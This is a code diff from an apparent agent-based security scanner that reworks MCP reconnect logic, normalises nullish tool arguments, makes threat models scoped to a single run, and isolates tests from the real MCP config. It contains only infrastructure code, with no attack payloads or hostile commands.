if not self._healed_without_progress:
|
||||
logger.warning(
|
||||
"MCP connection %r session died while idle; reconnecting once",
|
||||
self._name,
|
||||
)
|
||||
if await self._reconnect():
|
||||
logger.info(
|
||||
"MCP connection %r reconnected after an idle death", self._name
|
||||
)
|
||||
self._healed_without_progress = True
|
||||
continue
|
||||
else:
|
||||
logger.warning(
|
||||
"MCP connection %r died again before serving a call; "
|
||||
"marking it unavailable",
|
||||
self._name,
|
||||
)
|
||||
self._mark_dead()
|
||||
await self._safe_cleanup()
|
||||
return
|
||||
if request is None: # shutdown sentinel
|
||||
return
|
||||
outcome = await self._execute(request.job)
|
||||
# A served call is real progress: clear the idle-heal guard so a future
|
||||
# idle death is again allowed one reconnect.
|
||||
self._healed_without_progress = False
|
||||
if not request.future.done():
|
||||
request.future.set_result(outcome)
|
||||
self._pending.discard(request.future)
|
||||
|
||||
# -- run one job with reconnect-once + retry-once -------------------------
|
||||
|
||||
async def _execute(self, job: Job) -> _Outcome:
|
||||
"""Run one job; on a session failure reconnect once and retry it once."""
|
||||
if self._dead or self._server is None:
|
||||
return _Outcome(dead=True)
|
||||
try:
|
||||
return _Outcome(value=await job(self._server))
|
||||
except asyncio.CancelledError:
|
||||
# For a supervised session a cancellation here is the transport scope
|
||||
# dying under an in-flight call: a session death, not a real cancel
|
||||
# (shutdown never cancels the task, it uses the sentinel). For an
|
||||
# adopted session there is no such scope, so a cancel is real.
|
||||
if not self._supervised or self._closing:
|
||||
raise
|
||||
logger.warning(
|
||||
"MCP connection %r was cancelled mid-call (session died); reconnecting once",
|
||||
self._name,
|
||||
)
|
||||
except Exception: # noqa: BLE001 - any call failure is treated as a session death
|
||||
logger.warning(
|
||||
"MCP connection %r failed mid-call; reconnecting once", self._name
|
||||
)
|
||||
|
||||
if not await self._reconnect():
|
||||
self._mark_dead()
|
||||
return _Outcome(dead=True)
|
||||
|
||||
try:
|
||||
return _Outcome(value=await job(self._server))
|
||||
except asyncio.CancelledError:
|
||||
if not self._supervised or self._closing:
|
||||
raise
|
||||
logger.warning(
|
||||
"MCP connection %r was cancelled again after reconnect; marking it unavailable",
|
||||
self._name,
|
||||
)
|
||||
self._mark_dead()
|
||||
return _Outcome(dead=True)
|
||||
except Exception: # noqa: BLE001 - any retry failure means the connection is dead
|
||||
logger.warning(
|
||||
"MCP connection %r failed again after reconnect; marking it unavailable",
|
||||
self._name,
|
||||
)
|
||||
self._mark_dead()
|
||||
return _Outcome(dead=True)
|
||||
|
||||
async def _reconnect(self) -> bool:
|
||||
"""Rebuild and reconnect the session once, reusing the stored config/token."""
|
||||
await self._safe_cleanup()
|
||||
if self._config is None:
|
||||
return False
|
||||
try:
|
||||
self._server = await self._open()
|
||||
except asyncio.CancelledError:
|
||||
if self._closing:
|
||||
raise
|
||||
logger.warning("MCP reconnect for %r was cancelled; giving up", self._name)
|
||||
self._server = None
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("MCP reconnect for %r failed", self._name)
|
||||
self._server = None
|
||||
return False
|
||||
logger.info("MCP connection %r reconnected", self._name)
|
||||
return True
|
||||
|
||||
async def _open(self) -> MCPServer:
|
||||
"""Build and connect the SDK server, reusing the existing setup steps.
|
||||
|
||||
If ``connect()`` fails, the just-built server is cleaned up here on this
|
||||
same task before the error propagates, so a failed connect never orphans
|
||||
an MCP subprocess or half-open HTTP session.
|
||||
"""
|
||||
from strix.tools.mcp.client import _build_server
|
||||
|
||||
if self._config is None:
|
||||
raise RuntimeError(f"MCP connection {self._name!r} has no config to connect")
|
||||
server = _build_server(self._config)
|
||||
try:
|
||||
await server.connect() # type: ignore[no-untyped-call]
|
||||
except BaseException:
|
||||
with contextlib.suppress(Exception):
|
||||
await server.cleanup() # type: ignore[no-untyped-call]
|
||||
raise
|
||||
return server
|
||||
|
||||
# -- helpers --------------------------------------------------------------
|
||||
|
||||
async def _safe_cleanup(self) -> None:
|
||||
server = self._server
|
||||
self._server = None
|
||||
if server is None:
|
||||
return
|
||||
with contextlib.suppress(Exception):
|
||||
await server.cleanup() # type: ignore[no-untyped-call]
|
||||
|
||||
def _report_ready(self, value: bool) -> None:
|
||||
if self._ready is not None and not self._ready.done():
|
||||
self._ready.set_result(value)
|
||||
|
||||
def _fail_pending(self) -> None:
|
||||
for future in self._pending:
|
||||
if not future.done():
|
||||
future.set_result(_Outcome(dead=True))
|
||||
self._pending.clear()
|
||||
|
||||
def _unavailable_message(self) -> str:
|
||||
return (
|
||||
f"MCP connection {self._name!r} is unavailable: its live session could "
|
||||
"not be reached and a reconnect attempt failed. It is marked unavailable "
|
||||
"for the rest of this run."
|
||||
)
|
||||
@@ -14,6 +14,8 @@ from typing import Any
|
||||
|
||||
from agents import RunContextWrapper, function_tool
|
||||
|
||||
from strix.tools.nullish import clean_optional
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -111,6 +113,9 @@ def _filter_notes(
|
||||
tags: list[str] | None = None,
|
||||
search_query: str | None = None,
|
||||
) -> list[dict[str, Any]]:
|
||||
category = clean_optional(category)
|
||||
search_query = clean_optional(search_query)
|
||||
|
||||
filtered: list[dict[str, Any]] = []
|
||||
for note_id, note in _notes_storage.items():
|
||||
if category and note.get("category") != category:
|
||||
|
||||
23
strix/tools/nullish.py
Normal file
23
strix/tools/nullish.py
Normal file
@@ -0,0 +1,23 @@
|
||||
"""Nullish argument values passed by models in place of omitting an argument.
|
||||
|
||||
Models frequently send the literal string ``"null"`` / ``"none"`` for an
|
||||
optional filter argument instead of leaving it out. Taken at face value it is
|
||||
a filter that matches nothing, so the call quietly returns no results.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
|
||||
NULLISH_STRINGS = frozenset({"null", "none", "nil", "undefined"})
|
||||
|
||||
|
||||
def is_nullish(value: object) -> bool:
|
||||
"""Whether ``value`` is a string standing in for "no value"."""
|
||||
return isinstance(value, str) and value.strip().lower() in NULLISH_STRINGS
|
||||
|
||||
|
||||
def clean_optional(value: str | None) -> str | None:
|
||||
"""Normalize an optional filter argument: nullish or blank becomes ``None``."""
|
||||
if value is None or is_nullish(value):
|
||||
return None
|
||||
return value.strip() or None
|
||||
@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Any, Literal
|
||||
from agents import RunContextWrapper, function_tool
|
||||
|
||||
from strix.runtime.caido_handle import CaidoBootstrapHandle
|
||||
from strix.tools.nullish import clean_optional
|
||||
from strix.tools.proxy import caido_api
|
||||
|
||||
|
||||
@@ -167,6 +168,10 @@ async def list_requests(
|
||||
if client is None:
|
||||
return _no_client()
|
||||
|
||||
httpql_filter = clean_optional(httpql_filter)
|
||||
after = clean_optional(after)
|
||||
scope_id = clean_optional(scope_id)
|
||||
|
||||
try:
|
||||
connection = await _call(
|
||||
client,
|
||||
@@ -472,6 +477,8 @@ async def list_sitemap(
|
||||
client = await _ctx_client(ctx)
|
||||
if client is None:
|
||||
return _no_client()
|
||||
scope_id = clean_optional(scope_id)
|
||||
parent_id = clean_optional(parent_id)
|
||||
try:
|
||||
payload = await _call(
|
||||
client,
|
||||
|
||||
@@ -16,6 +16,8 @@ from typing import Any
|
||||
|
||||
from agents import RunContextWrapper, function_tool
|
||||
|
||||
from strix.tools.nullish import clean_optional
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -1605,12 +1607,12 @@ def _do_list_reports(
|
||||
caller_agent_id: str | None = None,
|
||||
) -> dict[str, Any]:
|
||||
errors: list[str] = []
|
||||
severity = (severity or "").strip().lower() or None
|
||||
severity = (clean_optional(severity) or "").lower() or None
|
||||
if severity and severity not in _VALID_SEVERITIES:
|
||||
errors.append(
|
||||
f"Invalid severity: {severity!r}. Must be one of: {sorted(_VALID_SEVERITIES)}"
|
||||
)
|
||||
finding_class = (finding_class or "").strip().lower() or None
|
||||
finding_class = (clean_optional(finding_class) or "").lower() or None
|
||||
if finding_class and finding_class not in _VALID_FINDING_CLASSES:
|
||||
errors.append(
|
||||
f"Invalid finding_class: {finding_class!r}. "
|
||||
@@ -1640,8 +1642,8 @@ def _do_list_reports(
|
||||
r,
|
||||
severity=severity,
|
||||
finding_class=finding_class,
|
||||
target=(target or "").strip() or None,
|
||||
search=(search or "").strip() or None,
|
||||
target=clean_optional(target),
|
||||
search=clean_optional(search),
|
||||
)
|
||||
]
|
||||
matched.sort(key=lambda r: (_report_severity_rank(r), str(r.get("id", ""))))
|
||||
|
||||
@@ -1,28 +1,29 @@
|
||||
"""Target-scoped threat models — cached under ``~/.strix/threat-models``.
|
||||
"""Run-scoped threat models — mirrored to ``{state_dir}/threat_models.json``.
|
||||
|
||||
A threat model describes the target, not the scan: a host, an application, an
|
||||
API, a repository, or whatever else the engagement is pointed at. It stays
|
||||
valid across unrelated runs against the same target, so it is keyed by target
|
||||
identity rather than by run id — one agent derives it, every later agent in
|
||||
this run and in future runs against the same target reads it back instead of
|
||||
A threat model is the scan's shared answer to who the attacker is, where the
|
||||
trust boundaries sit, and what counts as critical for the target. One agent
|
||||
derives it and every other agent on the same run reads it back instead of
|
||||
re-deriving trust boundaries from scratch.
|
||||
|
||||
Where the target is a checkout, the model is additionally pinned to the git
|
||||
revision, so a moved ``HEAD`` marks it stale. Black-box targets have no
|
||||
revision to pin to; those age out instead.
|
||||
It does not outlive the scan. The mirror lives in the run's own state directory
|
||||
and exists only so a resumed scan keeps the baseline its earlier agents agreed
|
||||
on; a new scan against the same host or checkout starts with no model and
|
||||
derives its own. Agents do spell one target several ways within a run — the URL
|
||||
they were handed, the page they happen to be testing, a checkout path — so a
|
||||
model is keyed by a normalized target identity to keep them converging on one
|
||||
document instead of each starting a fresh one.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlsplit
|
||||
@@ -35,16 +36,19 @@ from strix.core.agents import AgentCoordinator
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
_CACHE_DIR = Path.home() / ".strix" / "threat-models"
|
||||
_MAX_MODEL_BYTES = 512 * 1024
|
||||
_MIN_MODEL_CHARS = 400
|
||||
_MIN_AMENDMENT_CHARS = 80
|
||||
_MAX_AMENDMENTS = 40
|
||||
_GIT_TIMEOUT_SECONDS = 10
|
||||
_UNVERSIONED = "unversioned"
|
||||
_MAX_AGE_DAYS = 14
|
||||
_DEFAULT_PORTS = {"http": "80", "https": "443"}
|
||||
_cache_lock = threading.RLock()
|
||||
|
||||
_store_lock = threading.RLock()
|
||||
|
||||
# The whole store: target identity -> model. It holds exactly the models this
|
||||
# scan derived, and is mirrored to the run's state directory for resume.
|
||||
_MODELS: dict[str, dict[str, Any]] = {}
|
||||
_store_path: Path | None = None
|
||||
|
||||
_REQUIRED_SECTIONS = (
|
||||
"overview",
|
||||
@@ -95,7 +99,7 @@ def _remote_authority(target: str) -> str:
|
||||
|
||||
|
||||
def _normalize_remote_target(target: str) -> str:
|
||||
"""Collapse the spellings of one remote target onto a single cache key."""
|
||||
"""Collapse the spellings of one remote target onto a single key."""
|
||||
authority = _remote_authority(target)
|
||||
if not authority:
|
||||
return re.sub(r"\s+", " ", target.lower()).strip()
|
||||
@@ -132,30 +136,23 @@ def _normalize_git_remote(remote: str) -> str:
|
||||
return normalized.removesuffix(".git")
|
||||
|
||||
|
||||
def _target_identity(target: str) -> tuple[str, str]:
|
||||
"""Return the (stable identity, revision) pair a cached model is keyed on.
|
||||
def _target_identity(target: str) -> str:
|
||||
"""Return the stable identity a model is stored under.
|
||||
|
||||
A checkout is keyed on its remote (so the same repository cloned to two
|
||||
paths shares one model, and a subdirectory resolves to the whole tree) and
|
||||
pinned to ``HEAD``. Everything else — a host, a URL, an API base, a named
|
||||
scope — is keyed on its normalized form and carries no revision. Both
|
||||
routes run through the same normalization, so a checkout and the URL it
|
||||
was cloned from land on one key.
|
||||
A checkout is keyed on its remote, so the same repository checked out at
|
||||
two paths shares one model and a subdirectory resolves to the whole tree.
|
||||
Everything else — a host, a URL, an API base, a named scope — is keyed on
|
||||
its normalized form. Both routes run through the same normalization, so a
|
||||
checkout and the URL it was cloned from land on one key.
|
||||
"""
|
||||
directory = _local_directory(target)
|
||||
if directory is None:
|
||||
return _normalize_remote_target(target).removesuffix(".git"), _UNVERSIONED
|
||||
return _normalize_remote_target(target).removesuffix(".git")
|
||||
remote = _git(directory, ["config", "--get", "remote.origin.url"])
|
||||
revision = _git(directory, ["rev-parse", "HEAD"]) or _UNVERSIONED
|
||||
if remote:
|
||||
return _normalize_git_remote(remote), revision
|
||||
return _normalize_git_remote(remote)
|
||||
toplevel = _git(directory, ["rev-parse", "--show-toplevel"])
|
||||
return toplevel or str(directory), revision
|
||||
|
||||
|
||||
def _cache_path(identity: str) -> Path:
|
||||
digest = hashlib.sha256(identity.encode("utf-8")).hexdigest()[:16]
|
||||
return _CACHE_DIR / f"{digest}.json"
|
||||
return toplevel or str(directory)
|
||||
|
||||
|
||||
def _snap_to_scan_target(raw: str, scan_targets: list[str]) -> str:
|
||||
@@ -163,13 +160,13 @@ def _snap_to_scan_target(raw: str, scan_targets: list[str]) -> str:
|
||||
|
||||
Agents name the same target differently — one passes the URL it was given,
|
||||
the next the page it happens to be testing, a third the checkout path. Left
|
||||
alone those become separate cache keys, every lookup misses, and each agent
|
||||
alone those become separate keys, every lookup misses, and each agent
|
||||
quietly derives its own model, which is the exact failure the shared model
|
||||
exists to prevent. So a target that is recognisably one of the scan's own
|
||||
targets is resolved to that target instead.
|
||||
"""
|
||||
identity, _ = _target_identity(raw)
|
||||
scoped = [(target, _target_identity(target)[0]) for target in scan_targets]
|
||||
identity = _target_identity(raw)
|
||||
scoped = [(target, _target_identity(target)) for target in scan_targets]
|
||||
if any(known == identity for _, known in scoped):
|
||||
return raw
|
||||
|
||||
@@ -208,38 +205,51 @@ def _resolve_target(
|
||||
return (_snap_to_scan_target(raw, known) if known else raw), None
|
||||
|
||||
|
||||
def _is_expired(created_at: str | None) -> bool:
|
||||
if not created_at:
|
||||
return True
|
||||
try:
|
||||
created = datetime.fromisoformat(created_at)
|
||||
except ValueError:
|
||||
return True
|
||||
if created.tzinfo is None:
|
||||
created = created.replace(tzinfo=UTC)
|
||||
return datetime.now(UTC) - created > timedelta(days=_MAX_AGE_DAYS)
|
||||
|
||||
|
||||
def _missing_sections(content: str) -> list[str]:
|
||||
lowered = content.lower()
|
||||
return [section for section in _REQUIRED_SECTIONS if section not in lowered]
|
||||
|
||||
|
||||
def _read_cache(path: Path) -> dict[str, Any] | None:
|
||||
"""Load a cached model. Callers must already hold ``_cache_lock``."""
|
||||
if not path.is_file():
|
||||
return None
|
||||
try:
|
||||
cached = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
logger.exception("threat model cache at %s is unreadable", path)
|
||||
return None
|
||||
return cached if isinstance(cached, dict) else None
|
||||
|
||||
|
||||
def _write_cache(path: Path, payload: dict[str, Any]) -> str | None:
|
||||
"""Atomically persist a model. Callers must already hold ``_cache_lock``."""
|
||||
def hydrate_threat_models_from_disk(state_dir: Path) -> None:
|
||||
"""Point the store at this run's mirror and load whatever it already holds.
|
||||
|
||||
A resumed scan is the same scan, so its agents have to keep the baseline
|
||||
the earlier ones agreed on. The mirror lives under the run directory, so a
|
||||
different scan never reads it.
|
||||
"""
|
||||
global _store_path # noqa: PLW0603
|
||||
_store_path = state_dir / "threat_models.json"
|
||||
with _store_lock:
|
||||
_MODELS.clear()
|
||||
if not _store_path.is_file():
|
||||
return
|
||||
try:
|
||||
data = json.loads(_store_path.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
logger.exception(
|
||||
"threat_models.json at %s is unreadable; starting with no models",
|
||||
_store_path,
|
||||
)
|
||||
return
|
||||
if not isinstance(data, dict):
|
||||
return
|
||||
_MODELS.update(
|
||||
{
|
||||
identity: model
|
||||
for identity, model in data.items()
|
||||
if isinstance(identity, str) and isinstance(model, dict)
|
||||
}
|
||||
)
|
||||
logger.info("threat models hydrated from %s (%d)", _store_path, len(_MODELS))
|
||||
|
||||
|
||||
def _persist_locked() -> None:
|
||||
"""Mirror the store to disk. Callers must already hold ``_store_lock``.
|
||||
|
||||
Serializing and renaming in one critical section keeps a writer holding an
|
||||
older serialization from winning the rename and dropping a concurrent
|
||||
agent's model or amendment.
|
||||
"""
|
||||
path = _store_path
|
||||
if path is None:
|
||||
return
|
||||
try:
|
||||
payload = json.dumps(_MODELS, ensure_ascii=False, default=str)
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
@@ -249,85 +259,61 @@ def _write_cache(path: Path, payload: dict[str, Any]) -> str | None:
|
||||
suffix=".tmp",
|
||||
delete=False,
|
||||
) as tmp:
|
||||
tmp.write(json.dumps(payload, ensure_ascii=False))
|
||||
tmp.write(payload)
|
||||
tmp_path = Path(tmp.name)
|
||||
tmp_path.replace(path)
|
||||
except OSError as exc:
|
||||
logger.exception("threat model persist to %s failed", path)
|
||||
return f"Failed to persist threat model: {exc}"
|
||||
return None
|
||||
except OSError:
|
||||
logger.exception("threat model mirror to %s failed", path)
|
||||
|
||||
|
||||
def _amendments_of(cached: dict[str, Any]) -> list[dict[str, Any]]:
|
||||
raw = cached.get("amendments")
|
||||
def _missing_sections(content: str) -> list[str]:
|
||||
lowered = content.lower()
|
||||
return [section for section in _REQUIRED_SECTIONS if section not in lowered]
|
||||
|
||||
|
||||
def _amendments_of(model: dict[str, Any]) -> list[dict[str, Any]]:
|
||||
raw = model.get("amendments")
|
||||
if not isinstance(raw, list):
|
||||
return []
|
||||
return [item for item in raw if isinstance(item, dict)]
|
||||
|
||||
|
||||
def _not_found(identity: str, revision: str) -> dict[str, Any]:
|
||||
def _not_found(identity: str) -> dict[str, Any]:
|
||||
return {
|
||||
"success": True,
|
||||
"found": False,
|
||||
"target": identity,
|
||||
"revision": revision,
|
||||
"message": (
|
||||
"No threat model cached for this target. Derive one — from the code if "
|
||||
"you have it, from recon output if you do not — and persist it with "
|
||||
"save_threat_model, so every agent on this scan shares one view of the "
|
||||
"trust boundaries instead of each inventing their own."
|
||||
"No threat model for this target on this scan. Nothing carries over "
|
||||
"from other scans, so derive one — from the code if you have it, from "
|
||||
"recon output if you do not — and share it with save_threat_model, so "
|
||||
"every agent on this scan works from one view of the trust boundaries "
|
||||
"instead of each inventing their own."
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def _staleness(cached: dict[str, Any], revision: str) -> tuple[bool, str | None]:
|
||||
"""Decide whether a cached model can still be trusted, and why not."""
|
||||
if revision != _UNVERSIONED:
|
||||
if cached.get("revision") == revision:
|
||||
return False, None
|
||||
return True, (
|
||||
"This model was derived against a different revision. Use it as a "
|
||||
"starting point, re-check the boundaries it names against the current "
|
||||
"tree, and save the corrected version."
|
||||
)
|
||||
created_at = cached.get("created_at")
|
||||
if not _is_expired(created_at if isinstance(created_at, str) else None):
|
||||
return False, None
|
||||
return True, (
|
||||
f"This model is more than {_MAX_AGE_DAYS} days old and there is no revision "
|
||||
"to pin it to, so the target may have moved under it. Treat its surface "
|
||||
"inventory as a lead list to re-confirm during recon, not as fact, and save "
|
||||
"the corrected version."
|
||||
)
|
||||
|
||||
|
||||
def _get_impl(target: str, scan_targets: list[str] | None = None) -> dict[str, Any]:
|
||||
resolved, error = _resolve_target(target, scan_targets)
|
||||
if resolved is None:
|
||||
return {"success": False, "error": error}
|
||||
|
||||
identity, revision = _target_identity(resolved)
|
||||
path = _cache_path(identity)
|
||||
with _cache_lock:
|
||||
cached = _read_cache(path)
|
||||
if cached is None:
|
||||
return _not_found(identity, revision)
|
||||
content = cached.get("content")
|
||||
identity = _target_identity(resolved)
|
||||
with _store_lock:
|
||||
model = _MODELS.get(identity)
|
||||
if model is None:
|
||||
return _not_found(identity)
|
||||
content = model.get("content")
|
||||
amendments = list(_amendments_of(model))
|
||||
if not isinstance(content, str) or not content.strip():
|
||||
return _not_found(identity, revision)
|
||||
return _not_found(identity)
|
||||
|
||||
stale, stale_message = _staleness(cached, revision)
|
||||
result: dict[str, Any] = {
|
||||
"success": True,
|
||||
"found": True,
|
||||
"target": identity,
|
||||
"revision": revision,
|
||||
"cached_revision": cached.get("revision"),
|
||||
"created_at": cached.get("created_at"),
|
||||
"stale": stale,
|
||||
"content": content,
|
||||
}
|
||||
amendments = _amendments_of(cached)
|
||||
if amendments:
|
||||
result["amendments"] = amendments
|
||||
result["amendments_note"] = (
|
||||
@@ -335,8 +321,6 @@ def _get_impl(target: str, scan_targets: list[str] | None = None) -> dict[str, A
|
||||
"correct or extend it and have not been folded in yet - read them as "
|
||||
"part of the model, and prefer the later one where they conflict."
|
||||
)
|
||||
if stale_message:
|
||||
result["message"] = stale_message
|
||||
return result
|
||||
|
||||
|
||||
@@ -376,25 +360,21 @@ def _save_impl(
|
||||
),
|
||||
}
|
||||
|
||||
identity, revision = _target_identity(resolved)
|
||||
path = _cache_path(identity)
|
||||
payload: dict[str, Any] = {
|
||||
"target": identity,
|
||||
"revision": revision,
|
||||
"created_at": datetime.now(UTC).isoformat(),
|
||||
"created_by": agent_name,
|
||||
"content": body,
|
||||
}
|
||||
with _cache_lock:
|
||||
existing = _read_cache(path)
|
||||
identity = _target_identity(resolved)
|
||||
with _store_lock:
|
||||
existing = _MODELS.get(identity)
|
||||
folded = len(_amendments_of(existing)) if existing else 0
|
||||
error = _write_cache(path, payload)
|
||||
if error:
|
||||
return {"success": False, "error": error}
|
||||
_MODELS[identity] = {
|
||||
"target": identity,
|
||||
"written_at": datetime.now(UTC).isoformat(),
|
||||
"written_by": agent_name,
|
||||
"content": body,
|
||||
}
|
||||
_persist_locked()
|
||||
|
||||
message = (
|
||||
"Threat model saved. Subagents should call get_threat_model before they "
|
||||
"start, and treat its trust boundaries as the shared baseline."
|
||||
"Threat model shared with this scan. Subagents should call get_threat_model "
|
||||
"before they start, and treat its trust boundaries as the shared baseline."
|
||||
)
|
||||
if folded:
|
||||
message += (
|
||||
@@ -404,34 +384,35 @@ def _save_impl(
|
||||
return {
|
||||
"success": True,
|
||||
"target": identity,
|
||||
"revision": revision,
|
||||
"amendments_cleared": folded,
|
||||
"message": message,
|
||||
}
|
||||
|
||||
|
||||
def _append_amendment(
|
||||
path: Path, amendment: dict[str, Any]
|
||||
identity: str, amendment: dict[str, Any]
|
||||
) -> tuple[list[dict[str, Any]] | None, str | None]:
|
||||
"""Add an amendment to the cached model. Returns (amendments, error)."""
|
||||
with _cache_lock:
|
||||
cached = _read_cache(path)
|
||||
if cached is None or not str(cached.get("content", "")).strip():
|
||||
"""Add an amendment to the stored model. Returns (amendments, error)."""
|
||||
with _store_lock:
|
||||
model = _MODELS.get(identity)
|
||||
if model is None or not str(model.get("content", "")).strip():
|
||||
return None, (
|
||||
"No threat model exists for this target yet, so there is nothing to "
|
||||
"amend. Derive the base model and call save_threat_model instead."
|
||||
)
|
||||
amendments = _amendments_of(cached)
|
||||
amendments = _amendments_of(model)
|
||||
if len(amendments) >= _MAX_AMENDMENTS:
|
||||
return None, (
|
||||
f"This model already carries {len(amendments)} amendments. Fold them "
|
||||
"into the base model with save_threat_model before adding more."
|
||||
)
|
||||
amendments.append(amendment)
|
||||
cached["amendments"] = amendments
|
||||
if len(json.dumps(cached, ensure_ascii=False).encode("utf-8")) > _MAX_MODEL_BYTES:
|
||||
candidate = [*amendments, amendment]
|
||||
sized = {**model, "amendments": candidate}
|
||||
if len(json.dumps(sized, ensure_ascii=False).encode("utf-8")) > _MAX_MODEL_BYTES:
|
||||
return None, "Threat model with this amendment exceeds 512KB; tighten it."
|
||||
return amendments, _write_cache(path, cached)
|
||||
model["amendments"] = candidate
|
||||
_persist_locked()
|
||||
return candidate, None
|
||||
|
||||
|
||||
def _amend_impl(
|
||||
@@ -455,13 +436,12 @@ def _amend_impl(
|
||||
),
|
||||
}
|
||||
|
||||
identity, revision = _target_identity(resolved)
|
||||
identity = _target_identity(resolved)
|
||||
amendments, amend_error = _append_amendment(
|
||||
_cache_path(identity),
|
||||
identity,
|
||||
{
|
||||
"at": datetime.now(UTC).isoformat(),
|
||||
"by": agent_name,
|
||||
"revision": revision,
|
||||
"content": body,
|
||||
},
|
||||
)
|
||||
@@ -471,7 +451,6 @@ def _amend_impl(
|
||||
return {
|
||||
"success": True,
|
||||
"target": identity,
|
||||
"revision": revision,
|
||||
"amendment_count": len(amendments),
|
||||
"message": (
|
||||
"Amendment recorded. Agents calling get_threat_model will now see it "
|
||||
@@ -500,25 +479,25 @@ def _scan_targets(ctx: RunContextWrapper) -> list[str]:
|
||||
|
||||
@function_tool(timeout=30)
|
||||
async def get_threat_model(ctx: RunContextWrapper, target: str) -> str:
|
||||
"""Read the cached threat model for a target, if one exists.
|
||||
"""Read this scan's threat model for a target, if an agent has derived one.
|
||||
|
||||
A threat model belongs to the target, not to this scan — the same
|
||||
trust boundaries hold across unrelated runs against the same host
|
||||
or application. Call this before you start hunting so you inherit
|
||||
the shared view instead of re-deriving it, and so every agent on
|
||||
this run agrees on what "attacker-controlled" means here.
|
||||
The threat model is this run's shared answer to who the attacker
|
||||
is, where the trust boundaries sit, and what counts as critical
|
||||
here. Call it before you start hunting so you inherit the shared
|
||||
view instead of re-deriving it, and so every agent on this run
|
||||
agrees on what "attacker-controlled" means.
|
||||
|
||||
It is scoped to this scan and nothing is carried over from an
|
||||
earlier run, so an empty result means no agent has derived one yet.
|
||||
|
||||
Works black-box or white-box. The target can be a host, a URL, an
|
||||
API base, or a repository path; equivalent spellings of the same
|
||||
host resolve to the same model, and a checkout resolves to its
|
||||
remote, so a model derived white-box is read back by a black-box
|
||||
agent testing the deployment.
|
||||
remote, so a model derived white-box by one agent is read back by
|
||||
another testing the deployment.
|
||||
|
||||
Returns ``found: false`` when nothing is cached — derive one and
|
||||
persist it with ``save_threat_model``. ``stale: true`` means the
|
||||
checkout moved to a different revision, or that a model with no
|
||||
revision to pin to has aged out: use it as a starting point,
|
||||
re-confirm what it claims, and save the corrected version.
|
||||
Returns ``found: false`` when nothing has been derived yet — derive
|
||||
one and share it with ``save_threat_model``.
|
||||
|
||||
Any ``amendments`` in the response are corrections other agents
|
||||
recorded after the base model was written. They are part of the
|
||||
@@ -540,10 +519,10 @@ async def get_threat_model(ctx: RunContextWrapper, target: str) -> str:
|
||||
|
||||
@function_tool(timeout=30)
|
||||
async def save_threat_model(ctx: RunContextWrapper, target: str, content: str) -> str:
|
||||
"""Persist a target-scoped threat model for reuse by other agents.
|
||||
"""Share a target-scoped threat model with the other agents on this scan.
|
||||
|
||||
Keyed by target identity, so a later scan of the same host or tree
|
||||
reads it back instead of paying to derive it again.
|
||||
The model lives for this run only — it is not written to disk and a
|
||||
later scan of the same host or tree starts without it.
|
||||
|
||||
**This replaces the whole document, and clears any amendments** —
|
||||
it is for the agent establishing the baseline (normally root,
|
||||
@@ -561,9 +540,9 @@ async def save_threat_model(ctx: RunContextWrapper, target: str, content: str) -
|
||||
necessarily provisional — say which parts are inferred rather than
|
||||
observed, and let later agents amend it as the picture fills in.
|
||||
|
||||
**Scope it to the target, not to this scan.** Do not centre it on
|
||||
the diff you were handed, the subsystem you were assigned, or the
|
||||
one host that happened to answer first. With source, distinguish
|
||||
**Scope it to the target, not to your slice of it.** Do not centre
|
||||
it on the diff you were handed, the subsystem you were assigned, or
|
||||
the one host that happened to answer first. With source, distinguish
|
||||
real product and runtime surfaces from test, docs, example, and
|
||||
developer-tooling paths — in a monorepo, do not let ``tests/`` or
|
||||
one-off scripts become the centre of gravity unless the code shows
|
||||
|
||||
26
tests/conftest.py
Normal file
26
tests/conftest.py
Normal file
@@ -0,0 +1,26 @@
|
||||
"""Shared test fixtures."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _isolate_mcp_config(
|
||||
monkeypatch: pytest.MonkeyPatch, tmp_path_factory: pytest.TempPathFactory
|
||||
) -> None:
|
||||
"""Keep the whole suite from reading the developer's real MCP config.
|
||||
|
||||
``run_strix_scan`` connects the MCP servers listed in
|
||||
``~/.strix/mcp-servers.json`` and threads an inventory of them into the
|
||||
prompt context. Without isolation, any test that drives the runner on a
|
||||
machine that has a real config would do real network I/O and see MCP
|
||||
connections it never asked for. Point the loader at a path that does not
|
||||
exist so it resolves to "no connections", and clear the per-run selection
|
||||
env vars. Tests that exercise the loader itself set their own
|
||||
``STRIX_MCP_CONFIG`` after this runs and so override it.
|
||||
"""
|
||||
missing = tmp_path_factory.mktemp("mcp-isolation") / "no-servers.json"
|
||||
monkeypatch.setenv("STRIX_MCP_CONFIG", str(missing))
|
||||
monkeypatch.delenv("STRIX_MCP_ONLY", raising=False)
|
||||
monkeypatch.delenv("STRIX_MCP_EXCLUDE", raising=False)
|
||||
@@ -9,24 +9,30 @@ import pytest
|
||||
from agents.tool import FunctionTool
|
||||
|
||||
from strix.agents import factory
|
||||
from strix.tools.notes.tools import list_notes
|
||||
from strix.tools.reporting.tool import list_reports
|
||||
|
||||
|
||||
def _capturing_tool(captured: dict[str, str], schema: dict[str, Any]) -> FunctionTool:
|
||||
def _capturing_tool(
|
||||
captured: dict[str, str], schema: dict[str, Any], name: str = "probe"
|
||||
) -> FunctionTool:
|
||||
async def invoke(_ctx: Any, raw_input: str) -> str:
|
||||
captured["raw_input"] = raw_input
|
||||
return "ok"
|
||||
|
||||
